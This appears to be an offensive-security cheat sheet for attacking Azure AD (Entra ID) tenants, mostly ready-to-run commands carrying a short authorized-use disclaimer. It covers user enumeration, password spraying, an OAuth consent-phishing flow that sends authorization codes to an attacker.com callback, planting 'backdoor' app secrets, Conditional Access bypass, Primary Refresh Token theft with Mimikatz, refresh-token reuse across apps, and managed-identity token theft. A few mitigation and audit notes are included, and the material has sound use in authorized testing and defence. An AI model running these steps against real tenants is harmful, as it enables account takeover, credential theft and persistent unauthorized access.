← All cheat sheets

AZURE-AD-SECURITY

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

A practical reference for enumerating, attacking, and auditing
Azure Active Directory (Entra ID) environments.

TENANT ENUMERATION & RECON#

# Check if a domain uses Azure AD
https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1

# Enumerate tenant ID from domain
https://login.microsoftonline.com/<domain>/.well-known/openid-configuration

# Use AADInternals for recon
Install-Module AADInternals
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -DomainName target.com

# Enumerate users via Teams API (no auth required)
python3 TeamsUserEnum.py -U userlist.txt -d target.com

# Check for open Azure Blob Storage
https://<storageaccount>.blob.core.windows.net/<container>?restype=container&comp=list

# Enumerate subdomains and services
python3 cloud_enum.py -k target -k target.com

# MSOLSpray for password spraying (use with caution)
Invoke-MSOLSpray -UserList users.txt -Password "Spring2026!" -Verbose
# Attack flow:
# 1. Register a multi-tenant app in attacker tenant
# 2. Configure dangerous permissions (Mail.Read, Files.ReadWrite.All)
# 3. Send phishing link to victim user
# 4. User consents, attacker gains delegated access

# Craft OAuth authorization URL
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
  client_id=<attacker_app_id>&
  response_type=code&
  redirect_uri=https://attacker.com/callback&
  scope=https://graph.microsoft.com/.default&
  response_mode=query

# After consent, exchange code for tokens
POST https://login.microsoftonline.com/common/oauth2/v2.0/token
  grant_type=authorization_code&
  code=<auth_code>&
  client_id=<app_id>&
  client_secret=<secret>&
  redirect_uri=https://attacker.com/callback

# Detection: Look for OAuth2PermissionGrant events in audit logs
# Mitigation: Set "User consent for applications" to "Do not allow"
#   Azure Portal > Enterprise Applications > Consent and permissions

APP REGISTRATION ABUSE#

# List all app registrations (authenticated)
az ad app list --all --query "[].{Name:displayName, AppId:appId}" -o table

# Find apps with high-privilege API permissions
az ad app list --all --query "[?requiredResourceAccess[?resourceAccess[?type=='Role']]]" -o json

# Find apps with credentials (client secrets / certificates)
az ad app list --all --query "[?passwordCredentials || keyCredentials].{Name:displayName, AppId:appId}" -o table

# Add credentials to existing app (if you have Application.ReadWrite.All)
az ad app credential reset --id <app-object-id> --append

# Abuse: If you own an app with high permissions, add a new secret
az ad app credential reset --id <app-id> --credential-description "backdoor" --append

# Find service principals with dangerous permissions
az ad sp list --all --query "[?appRoleAssignments]" -o json

# Check for apps with owner but no admin consent required
Get-AzureADApplication | ForEach-Object {
    $owners = Get-AzureADApplicationOwner -ObjectId $_.ObjectId
    if ($owners) { Write-Output "$($_.DisplayName) - Owner: $($owners.UserPrincipalName)" }
}

CONDITIONAL ACCESS BYPASS#

# Enumerate Conditional Access policies (requires policy reader role)
az rest --method GET --url "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies"

# Common bypass techniques:
# 1. Legacy authentication protocols (POP, IMAP, SMTP) may bypass MFA
#    Use tools like MailSniper with basic auth
# 2. Device compliance bypass - use a compliant device or spoof device ID
# 3. Location-based bypass - use VPN in trusted IP range
# 4. Platform exclusion - if policy targets Windows, try Linux/Mac
# 5. Application exclusion - target apps not covered by CA policies

# Test for legacy auth support
python3 MSOLSpray.py -u users.txt -p password -url https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml

# Check named locations
az rest --method GET --url "https://graph.microsoft.com/v1.0/identity/conditionalAccess/namedLocations"

PRIMARY REFRESH TOKEN (PRT) ABUSE#

# PRT is a JWT used for SSO across Azure AD joined devices
# If you compromise a device, you can extract the PRT

# Check if device is Azure AD joined
dsregcmd /status

# Extract PRT using Mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::cloudap" "exit"

# Extract PRT cookie using ROADtoken
ROADtoken.exe

# Use PRT with ROADtools to authenticate
roadtx prt -c <prt_cookie>
roadtx browserprtauth --prt-cookie <prt_cookie> --url https://portal.azure.com

# Request access tokens using PRT
roadtx prtauth --prt <prt> --prt-session-key <session_key> --resource https://graph.microsoft.com

# Pass-the-PRT: Use PRT cookie in browser
# Chrome DevTools > Application > Cookies > Add x-ms-RefreshTokenCredential

AZUREHOUND (BLOODHOUND FOR AZURE)#

# Install AzureHound
Download from: https://github.com/BloodHoundAD/AzureHound/releases

# Collect data with AzureHound
./azurehound -r <tenant-id> -j <output.json> list --tenant <tenant-id> -u user@target.com -p 'password'

# Using refresh token
./azurehound -r <tenant-id> list --tenant <tenant-id> --refresh-token <token>

# Import into BloodHound CE
# Upload the JSON output via the BloodHound UI

# Key attack paths to look for in BloodHound:
# - Users with Global Admin path
# - Service Principals with RoleManagement.ReadWrite.Directory
# - Apps with AppRoleAssignment.ReadWrite.All
# - Users who are owners of high-privilege groups

ROADTOOLS#

# Install ROADtools
pip install roadtools
pip install roadtx

# Gather Azure AD data
roadrecon auth -u user@target.com -p 'password'
roadrecon gather --mfa    # If MFA is needed, interactive auth

# Dump all data to SQLite database
roadrecon gather

# Launch web UI for analysis
roadrecon gui

# Explore with roadrecon plugin
roadrecon plugin policies   # Dump conditional access policies

# ROADtx for token manipulation
roadtx gettokens --refresh-token <token> --resource https://graph.microsoft.com
roadtx describe <token>    # Decode and display token claims
roadtx getscope --scope https://graph.microsoft.com/.default

TOKEN MANIPULATION#

# Decode Azure AD JWT token
echo "<token>" | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool

# Request token using Azure CLI
az account get-access-token --resource https://graph.microsoft.com

# Request token for different resource
az account get-access-token --resource https://management.azure.com
az account get-access-token --resource https://vault.azure.net

# Use token with Microsoft Graph API
curl -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me

# Refresh token to access token exchange
POST https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token
  grant_type=refresh_token&
  refresh_token=<refresh_token>&
  client_id=<client_id>&
  scope=https://graph.microsoft.com/.default

# FOCI (Family of Client IDs) abuse - use refresh token from one app in another
# Microsoft first-party apps share refresh tokens
# Get token for Azure CLI, use it for Microsoft Teams client ID
roadtx gettokens --refresh-token <token> --client 1fec8e78-bce4-4aaf-ab1b-5451cc387264

SERVICE PRINCIPAL EXPLOITATION#

# List all service principals
az ad sp list --all -o table

# Find SPs with high-privilege directory roles
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles" | jq '.value[] | {displayName, id}'

# Get members of Global Administrator role
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/filterByRoleTemplateId(roleTemplateId='62e90394-69f5-4237-9190-012177145e10')/members"

# Abuse managed identity from compromised Azure resource
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Use managed identity token
az login --identity
az account get-access-token

# Add credentials to a service principal you own
az ad sp credential reset --id <sp-object-id> --append

COMMON MISCONFIGURATIONS#

# 1. Overly permissive app permissions (Application vs Delegated)
#    Check: az ad app list --all --query "[].requiredResourceAccess"

# 2. User can register applications (default: YES)
#    Fix: Azure Portal > User Settings > App registrations = No

# 3. User can consent to apps on their behalf
#    Fix: Enterprise Applications > Consent and permissions > Do not allow

# 4. Guest users with excessive permissions
az ad user list --filter "userType eq 'Guest'" -o table

# 5. No Conditional Access policies for admins
#    Fix: Require MFA for all admin roles at minimum

# 6. Legacy authentication not blocked
#    Fix: Create CA policy to block legacy auth for all users

# 7. Security defaults not enabled (for small orgs)
#    Check: Azure Portal > Properties > Manage Security defaults

# 8. Privileged roles without PIM (Privileged Identity Management)
#    Fix: Enable PIM for all admin roles, require justification

# 9. No access reviews configured
#    Fix: Enable quarterly access reviews for privileged roles

# 10. Unrestricted Azure AD admin portal access
#     Fix: Restrict Azure AD admin portal to admins only

# Audit command summary
az ad user list -o table
az ad group list -o table
az ad app list --all -o table
az role assignment list --all -o table
az account list -o table

USEFUL TOOLS#

# AADInternals    - Azure AD enumeration and exploitation
# AzureHound      - BloodHound data collector for Azure
# ROADtools       - Azure AD exploration framework
# MSOLSpray       - Password spraying tool
# TokenTactics    - Azure AD token manipulation
# GraphRunner     - Post-exploitation tool for Microsoft Graph
# Stormspotter    - Azure AD visualization
# ScoutSuite      - Multi-cloud security auditing
# Prowler         - AWS/Azure/GCP security assessment

# GraphRunner usage
Import-Module .\GraphRunner.ps1
Invoke-GraphRunner
Get-GraphTokens
Invoke-DumpApps
Invoke-DumpCAPS